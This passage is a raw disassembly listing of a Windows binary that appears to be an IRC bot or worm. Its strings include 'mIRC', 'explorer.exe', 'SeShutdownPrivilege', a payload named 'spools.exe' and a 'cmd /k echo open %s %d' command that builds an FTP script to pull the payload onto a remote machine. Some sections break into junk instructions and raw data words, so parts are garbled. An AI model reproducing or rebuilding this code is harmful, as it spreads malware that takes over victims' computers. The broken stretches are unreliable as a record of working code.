		fstp	qword ptr [ebp-10h]
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	ds:dbl_4276E8
		call	sub_41CE38
		mov	al, byte ptr ds:a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_4183CB
; ---------------------------------------------------------------------------


loc_4183AD:				; CODE XREF: sub_4180E3+28Fj
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4276D8
		call	sub_41CE38
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_4183CB:				; CODE XREF: sub_4180E3+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_4183D2:				; CODE XREF: sub_4180E3+1C9j
					; sub_4180E3+1F8j ...
		cmp	esi, 6
		jge	loc_41845B
		cmp	esi, 5
		jge	short loc_4183F3
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4276F0
		jmp	short loc_418411
; ---------------------------------------------------------------------------


loc_4183F3:				; CODE XREF: sub_4180E3+2FBj
		call	sub_41BF92
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	ds:dbl_4276E8


loc_418411:				; CODE XREF: sub_4180E3+30Ej
		call	sub_41CE38
		test	eax, eax
		jnz	short loc_418434
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4276C8
		call	sub_41CE38
		mov	cl, 30h
		jmp	short loc_418451
; ---------------------------------------------------------------------------


loc_418434:				; CODE XREF: sub_4180E3+335j
		cmp	eax, 1
		jnz	short loc_41845B
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4276D8
		call	sub_41CE38
		mov	cl, 41h


loc_418451:				; CODE XREF: sub_4180E3+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_41845B:				; CODE XREF: sub_4180E3+2F2j
					; sub_4180E3+354j
		cmp	[ebp+var_C], 2
		jge	short loc_4184DB
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	ds:dbl_4276E8
		call	sub_41CE38
		cmp	eax, 1
		jnz	short loc_4184DB
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4276C8
		call	sub_41CE38
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4276C0
		call	sub_41CE38
		cmp	eax, 1
		jnz	short loc_4184DB
		cmp	[ebp+var_C], eax
		jge	short loc_4184DB
		call	sub_41BF92
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	ds:dbl_4276B8
		call	sub_41CE38
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_4184DB:				; CODE XREF: sub_4180E3+1B1j
					; sub_4180E3+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41BCA0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4180E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184F4	proc near		; CODE XREF: sub_41852C+125p
					; sub_41852C+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_418522


loc_418505:				; CODE XREF: sub_4184F4+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41DD70
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_418528
		inc	esi
		cmp	esi, edi
		jl	short loc_418505


loc_418522:				; CODE XREF: sub_4184F4+Fj
		xor	al, al


loc_418524:				; CODE XREF: sub_4184F4+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418528:				; CODE XREF: sub_4184F4+27j
		mov	al, 1
		jmp	short loc_418524
sub_4184F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41852C	proc near		; CODE XREF: sub_40E18F+8Bp

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_41C1D0
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_41856D
		dec	eax
		jz	short loc_41854B
		dec	eax


loc_418545:				; CODE XREF: sub_41852C+57j
		xor	eax, eax


loc_418547:				; CODE XREF: sub_41852C+3Fj
					; sub_41852C+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_41854B:				; CODE XREF: sub_41852C+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	ds:dword_4D1230
		push	eax
		call	sub_40BF97
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_418547
; ---------------------------------------------------------------------------


loc_41856D:				; CODE XREF: sub_41852C+13j
		push	6
		push	1
		push	2
		call	ds:dword_4D1270
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_418545
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	ds:dword_4D11F0
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40AA54
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_4D1198
		cmp	eax, edi
		jz	loc_418689
		push	ebx
		push	48h
		push	offset dword_440A98
		push	esi
		call	ds:dword_4D1240
		cmp	eax, edi
		jz	loc_418689
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4D1208
		cmp	eax, edi
		jz	loc_418689
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_418689
		push	ebx
		push	18h
		push	offset dword_440AE4
		push	[ebp+arg_4]
		call	ds:dword_4D1240
		cmp	eax, edi
		jz	short loc_418689
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_4D1208
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_418689
		cmp	[ebp+var_200E],	2
		jnz	short loc_418689
		push	10h
		push	offset dword_440B00
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_4184F4
		add	esp, 10h
		test	al, al
		jz	short loc_418669
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_418689
; ---------------------------------------------------------------------------


loc_418669:				; CODE XREF: sub_41852C+12Fj
		push	10h
		push	offset dword_440B14
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_4184F4
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_418689:				; CODE XREF: sub_41852C+9Bj
					; sub_41852C+B2j ...
		push	[ebp+arg_4]
		call	ds:dword_4D1288
		mov	eax, ebx
		pop	ebx
		jmp	loc_418547
sub_41852C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41869A	proc near		; CODE XREF: seg000:004026DAp
					; seg000:00402717p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_418725
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_418725
		cmp	[ebp+arg_8], esi
		jz	short loc_418725
		cmp	byte ptr [eax],	0
		jz	short loc_418725
		push	ebx
		push	edi
		call	sub_426265
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_418720
		push	[ebp+arg_4]
		push	edi
		call	sub_41BFB0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_418719
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41BCA0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41B890
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C880
		push	[ebp+arg_4]
		call	sub_41B890
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41C560
		push	ebx
		push	edi
		call	sub_41C550
		add	esp, 30h
		mov	esi, edi


loc_418719:				; CODE XREF: sub_41869A+3Cj
		push	ebx
		call	sub_41B961
		pop	ecx


loc_418720:				; CODE XREF: sub_41869A+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_418727
; ---------------------------------------------------------------------------


loc_418725:				; CODE XREF: sub_41869A+Cj
					; sub_41869A+13j ...
		xor	eax, eax


loc_418727:				; CODE XREF: sub_41869A+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41869A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41872B	proc near		; CODE XREF: sub_401A09+DCp

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41BC40
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41B890
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_418761
		or	eax, 0FFFFFFFFh
		jmp	short loc_4187D4
; ---------------------------------------------------------------------------


loc_418761:				; CODE XREF: sub_41872B+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_418783


loc_41876D:				; CODE XREF: sub_41872B+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_41877A
		cmp	dl, 0Dh
		jnz	short loc_41877E


loc_41877A:				; CODE XREF: sub_41872B+48j
		and	byte ptr [ecx+esi], 0


loc_41877E:				; CODE XREF: sub_41872B+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_41876D


loc_418783:				; CODE XREF: sub_41872B+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_4187B4
		lea	edi, [ebp+var_7CC]


loc_418790:				; CODE XREF: sub_41872B+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_4187AF
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_4187AF
		cmp	ebx, 1F4h
		jge	short loc_4187B4
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_4187AF:				; CODE XREF: sub_41872B+69j
					; sub_41872B+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_418790


loc_4187B4:				; CODE XREF: sub_41872B+5Dj
					; sub_41872B+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_4187D2
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	near ptr sub_41C9B0
		add	esp, 0Ch


loc_4187D2:				; CODE XREF: sub_41872B+8Ej
		mov	eax, ebx


loc_4187D4:				; CODE XREF: sub_41872B+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_41872B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187D8	proc near		; CODE XREF: sub_418832+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418811
		push	ebx
		mov	ebx, edi


loc_4187F5:				; CODE XREF: sub_4187D8+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418814
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_4187F5
		pop	ebx


loc_418811:				; CODE XREF: sub_4187D8+18j
		pop	edi
		pop	esi
		retn
sub_4187D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_418814	proc near		; CODE XREF: sub_4187D8+25p
					; sub_418832+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41DE1C
		cmp	al, 61h
		pop	ecx
		jl	short loc_41882F
		cmp	al, 7Ah
		jg	short loc_41882F
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_41882F:				; CODE XREF: sub_418814+Ej
					; sub_418814+12j
		xor	eax, eax
		retn
sub_418814	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418832	proc near		; CODE XREF: seg000:00415927p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41C1D0
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B890
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41B890
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_4187D8
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_418870:				; CODE XREF: sub_418832+B6j
		test	esi, esi
		jle	short loc_4188EE
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DE1C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41DE1C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4188E6


loc_418896:				; CODE XREF: sub_418832+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418814
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_4188B7
		mov	eax, ecx


loc_4188B7:				; CODE XREF: sub_418832+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_4188EA
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DE1C
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41DE1C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_418896


loc_4188E6:				; CODE XREF: sub_418832+62j
		dec	edi
		dec	esi
		jmp	short loc_418870
; ---------------------------------------------------------------------------


loc_4188EA:				; CODE XREF: sub_418832+8Aj
		xor	eax, eax
		jmp	short loc_4188F3
; ---------------------------------------------------------------------------


loc_4188EE:				; CODE XREF: sub_418832+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_4188F3:				; CODE XREF: sub_418832+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418832	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4188F8	proc near		; CODE XREF: seg000:004081F4p
					; seg000:004092CBp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	ds:dword_42708C	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 0B00000h
		pop	ebx
		lea	eax, [ebp+var_100]


loc_418931:				; CODE XREF: sub_4188F8+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_41893D
		cmp	cl, 9
		jnz	short loc_418940


loc_41893D:				; CODE XREF: sub_4188F8+3Ej
		inc	eax
		jmp	short loc_418931
; ---------------------------------------------------------------------------


loc_418940:				; CODE XREF: sub_4188F8+43j
					; sub_4188F8+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_41895A
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418940
		cmp	cl, 21h
		jl	short loc_418940


loc_41895A:				; CODE XREF: sub_4188F8+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4E09AC
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41C030
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4188F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_418982	proc near		; CODE XREF: seg000:00403F92p
		push	esi
		push	0
		call	ds:dword_4D11C0
		test	eax, eax
		jz	short loc_4189B9
		push	1
		call	ds:dword_4D11E0
		mov	esi, eax
		test	esi, esi
		jz	short loc_4189B9
		push	edi
		push	esi
		call	ds:dword_427164	; GlobalLock
		push	esi
		mov	edi, eax
		call	ds:dword_427160	; GlobalUnlock
		call	ds:dword_4D1244
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4189B9:				; CODE XREF: sub_418982+Bj
					; sub_418982+19j
		xor	eax, eax
		pop	esi
		retn
sub_418982	endp


; =============== S U B	R O U T	I N E =======================================



sub_4189BD	proc near		; CODE XREF: seg000:00409065p

var_30		= dword	ptr -30h

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	ds:dword_4D11FC
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_418A39
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	near ptr 0B00000h
		popf
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	near ptr 0B00000h
		pushf
		push	[esp+44h+var_30]
		mov	ebx, eax
		push	ebx
		call	sub_41BF36
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	ds:dword_4D124C
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	ds:dword_4D124C
		push	ebx
		call	near ptr 0B00000h
		mov	al, ds:6C15FF57h
		jo	short loc_418A74
		add	[edx+1], ch
		pop	eax
		pop	ebx
		jmp	short loc_418A3B
; ---------------------------------------------------------------------------


loc_418A39:				; CODE XREF: sub_4189BD+16j
		xor	eax, eax


loc_418A3B:				; CODE XREF: sub_4189BD+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-11Ch]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	ds:dword_4D12AC
		test	eax, eax
		jz	short loc_418ADE
		mov	edi, 80h
		push	esi
		push	edi
		push	3


loc_418A74:				; CODE XREF: sub_4189BD+73j
		push	esi
		mov	esi, ds:dword_4270EC
		push	1
		lea	eax, [ebp-11Ch]
		push	80000000h
		push	eax
		call	esi ; dword_4270EC
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418ADE
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		push	ebx
		call	near ptr 0B00000h
		in	eax, 53h
		mov	ebx, ds:dword_42706C
		call	ebx ; dword_42706C
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	dword ptr [ebp+8]
		call	esi ; dword_4270EC
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418ADE
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-8]	; CODE XREF: seg000:00418B3Fj
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		push	esi
		call	near ptr 0B00000h
		scasb
		push	esi
		call	ebx ; dword_42706C


loc_418ADE:				; CODE XREF: sub_4189BD+ACj
					; sub_4189BD+D3j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4189BD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_418AE3	proc near		; CODE XREF: seg000:004031A0p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419EDA
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	ds:dword_4D1130
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418AE3	endp

; ---------------------------------------------------------------------------


loc_418B05:				; CODE XREF: seg000:00404224p
					; seg000:00416E74p
		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	ds:dword_429090, esi
		push	edi
		jz	short loc_418B29
		cmp	ds:dword_4D12C0, esi
		jnz	short loc_418B29
		push	esi
		call	start
		pop	ecx


loc_418B29:				; CODE XREF: seg000:00418B18j
					; seg000:00418B20j
		call	sub_40B1D7
		lea	eax, [ebp-764h]
		push	eax
		push	400h
		call	near ptr 0B00000h
		jle	short near ptr loc_418ACC+2
		test	[eax+edi*8-72AF0001h], ebx
		test	[eax+68FFFFFDh], esp
		les	ecx, [ebx]
		inc	esp
		add	[eax-18h], dl
		fidiv	word ptr [ebx]
; ---------------------------------------------------------------------------
		dw 0
		dd 8D0CC483h, 0FFFDA085h, 6A5656FFh, 68565602h,	40000000h
		dd 0EC15FF50h, 8B004270h, 0FFE3BF8h, 10C86h, 0A0858D00h
		dd 50FFFFFDh, 0F89C858Dh, 8068FFFFh, 5000440Bh,	33A1E8h
		dd 0CC48300h, 56FC458Dh, 9C858D50h, 50FFFFF8h, 2CE7E8h
		dd 8D505900h, 0FFF89C85h, 0E85750FFh, 6E7448h, 15FF5787h
		dd 42706Ch, 458D106Ah, 0E85056ECh, 3074h, 458D446Ah, 56575FA8h
		dd 3066E850h, 0C4830000h, 0A87D8918h, 104BFh, 0A4858D00h
		dd 57FFFFFEh, 45C75650h, 443398B4h, 0D445C700h,	1, 0D8758966h
		dd 6E73FBE8h, 0E8504600h, 6E73F4h, 0A4858D40h, 50FFFFFEh
		dd 709815FFh, 0F8830042h, 8D1274FFh, 0FFFEA485h, 8068FFh
		dd 0E8500000h, 6E73D0h,	0A4858D8Fh, 50FFFFFEh, 0FDA0858Dh
		dd 8D50FFFFh, 0FFF89C85h, 0B6868FFh, 0E8500044h, 32E6h
		dd 8D10C483h, 0FFFC9C85h, 8D5057FFh, 0FFF89C85h, 99E850FFh
		dd 98006E73h, 50EC458Dh, 50A8458Dh, 8685656h, 6A000040h
		dd 858D5601h, 0FFFFFC9Ch, 0E8565056h, 6E7378h, 0C95E5FC1h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C8D	proc near		; CODE XREF: seg000:00408C42p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	ds:dword_4270C8	; GetVersionExA
		cmp	[ebp+var_84], 2
		jnz	short loc_418D23
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	ds:dword_4D1170
		push	edi
		push	eax
		call	ds:dword_4D1180
		test	eax, eax
		jz	short loc_418D15
		push	[ebp+arg_10]
		push	offset dword_440C28


loc_418CEE:				; CODE XREF: sub_418C8D+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41BF36
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 20h
		jmp	short loc_418D4D
; ---------------------------------------------------------------------------


loc_418D15:				; CODE XREF: sub_418C8D+57j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_440C00
		jmp	short loc_418CEE
; ---------------------------------------------------------------------------


loc_418D23:				; CODE XREF: sub_418C8D+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_440BD0
		push	eax
		call	sub_41BF36
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4099D2
		add	esp, 1Ch


loc_418D4D:				; CODE XREF: sub_418C8D+86j
		pop	edi
		leave
		retn
sub_418C8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418D50	proc near		; CODE XREF: sub_40E18F+480p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	ds:dword_4D1230
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	ds:dword_4D11F0
		push	ebx
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_4D1270
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_418E1B
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	ds:dword_4D1198
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418E1B
		mov	esi, 400h
		push	ebx
		lea	eax, [ebp+var_5A0]
		push	esi
		push	eax
		push	edi
		call	ds:dword_4D1208
		mov	eax, offset aSpools_exe	; "spools.exe"
		push	eax
		push	eax
		push	ds:dword_4D0F20
		push	[ebp+arg_0]
		call	sub_40AB6A
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpen_0 ; "cmd /k echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41C030
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	ebx
		push	eax
		call	sub_41B890
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	edi
		call	ds:dword_4D1240
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_418E1F


loc_418E1B:				; CODE XREF: sub_418D50+50j
					; sub_418D50+62j
		xor	al, al
		jmp	short loc_418E38
; ---------------------------------------------------------------------------


loc_418E1F:				; CODE XREF: sub_418D50+C9j
		push	ebx
		lea	eax, [ebp+var_5A0]
		push	esi
		push	eax
		push	edi
		call	ds:dword_4D1208
		push	edi
		call	ds:dword_4D1288
		mov	al, 1


loc_418E38:				; CODE XREF: sub_418D50+CDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418D50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E3D	proc near		; CODE XREF: seg000:00407058p

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	ds:dword_4270C8	; GetVersionExA
		cmp	[ebp+var_90], 4
		jnz	short loc_418E93
		cmp	[ebp+var_8C], 0
		jnz	short loc_418E7C
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_418E93
		leave
		retn
; ---------------------------------------------------------------------------


